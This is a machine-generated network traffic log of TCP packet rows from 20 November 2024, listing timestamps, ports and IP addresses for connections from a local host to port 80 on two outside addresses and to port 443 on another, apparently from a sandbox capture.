Nov 20, 2024 07:48:27.596777916 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596795082 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596797943 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596813917 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596828938 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596834898 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596884966 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.597076893 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597141027 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597156048 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597166061 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597174883 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597174883 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.597260952 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.597563028 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597579002 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597596884 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597614050 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.597615004 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597631931 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597647905 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.597671032 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.597718000 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.598167896 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.598212004 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.598226070 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.598272085 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.598434925 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.598448992 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.598463058 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.598478079 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.598478079 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.598539114 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.600920916 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.600979090 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.600994110 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601011992 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.601026058 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601042032 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601056099 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601069927 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601073980 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.601085901 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601102114 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601134062 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.601165056 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.601397038 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601412058 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601427078 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.601452112 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.601494074 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.723754883 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.723773956 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.723794937 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.723807096 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.723819017 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.723831892 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.723846912 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.723869085 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.723925114 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.911329031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:27.916502953 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:28.153345108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:28.153443098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:31.274522066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:31.275890112 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:54.423741102 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:54.423796892 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:54.423877954 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:54.424290895 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:54.424309015 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.068536997 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.068726063 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.072818041 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.072833061 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.073162079 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.085431099 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.131342888 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.183259964 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.183289051 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.183307886 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.183418989 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.183448076 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.183465958 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.183491945 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.268992901 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.269027948 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.269197941 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.269238949 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.269293070 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.270658970 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.270684004 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.270781994 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.270795107 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.270839930 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.355308056 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.355345011 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.355386019 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.355410099 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.355427027 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.355449915 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.356048107 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.356069088 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.356107950 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.356121063 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.356144905 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.356161118 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.356715918 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.356734991 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.356785059 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.356797934 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.356817007 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.356832981 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.357573032 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.357593060 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.357635021 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.357646942 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.357686043 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.442023039 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.442053080 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.442107916 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.442143917 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.442162037 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.442188025 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.442435980 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.442456961 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.442487955 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.442497015 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.442522049 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.442536116 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.442977905 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.442997932 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443036079 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443046093 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443068027 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443079948 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443353891 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443373919 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443413973 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443423986 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443438053 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443464994 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443655014 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443674088 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443708897 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443715096 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.443748951 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.443748951 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.444336891 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.444356918 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.444396019 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.444401026 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.444417000 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.444453001 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.444497108 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.444541931 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.444677114 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.444694042 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.444705963 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.444713116 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.488934040 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.489037037 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.489144087 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.489903927 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.489937067 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.490961075 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.491010904 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.491077900 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.491211891 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.491221905 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.492000103 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.492031097 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.492094040 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.492958069 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.492979050 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.493036032 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.493114948 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.493127108 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.493943930 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.493952990 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.494007111 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.494132042 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.494137049 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:55.494215965 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:55.494231939 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.134047985 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.134792089 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.134839058 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.135343075 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.135350943 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.135741949 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.136053085 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.136085987 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.136421919 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.136426926 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.144285917 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.144618034 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.144642115 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.144964933 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.144968987 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.154545069 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.154827118 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.154897928 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.154913902 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.155198097 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.155210972 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.155240059 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.155246019 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.155929089 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.155932903 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.231954098 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.231992960 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.232084990 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.232189894 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.232537985 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.232538939 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.232573986 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.232603073 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.236624956 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.236628056 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.236646891 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.236694098 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.236726046 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.236736059 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.236816883 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.236898899 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.236898899 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.236924887 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.236939907 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.237147093 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.237165928 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.239505053 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.239536047 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.239630938 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.239850044 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.239860058 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.244846106 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.244895935 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.244966984 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.244988918 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.245027065 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.245040894 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.245084047 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.245243073 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.245251894 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.245285034 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.245289087 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.247996092 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.248051882 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.248147011 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.248337984 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.248359919 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.257636070 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.257725000 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.257792950 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.257993937 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.258018017 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.258035898 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.258043051 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.258950949 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.259012938 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.259059906 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.259162903 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.259170055 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.259182930 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.259186029 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.260710001 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.260726929 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.260832071 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.260957956 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.260967970 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.261385918 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.261437893 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.261499882 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.261683941 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.261706114 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.883579016 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.884265900 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.884305954 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.884784937 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.884797096 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.900739908 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.901202917 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.901220083 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.901793003 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.901799917 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.908020973 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.908773899 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.908785105 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.909311056 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.909318924 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.923835039 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.924352884 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.924391985 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.924982071 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.924993038 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.927167892 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.927587032 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.927608967 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:56.927985907 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:56.927995920 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131099939 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131225109 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131258011 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131320000 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.131350994 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131406069 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131428957 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.131433964 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131452084 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131464958 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.131468058 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.131474018 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.131506920 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.132318020 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.132335901 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.133671999 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.133677006 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.133693933 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.133701086 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.135334969 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.135430098 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.135529041 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.136275053 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.136307955 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.137027025 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.137121916 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.137259960 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.137356043 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.137384892 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.138072014 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.138096094 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.138176918 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.138324976 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.138349056 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.226609945 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.226705074 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.226872921 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.227031946 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.227058887 CET	443	49772	13.107.246.45	192.168.2.4
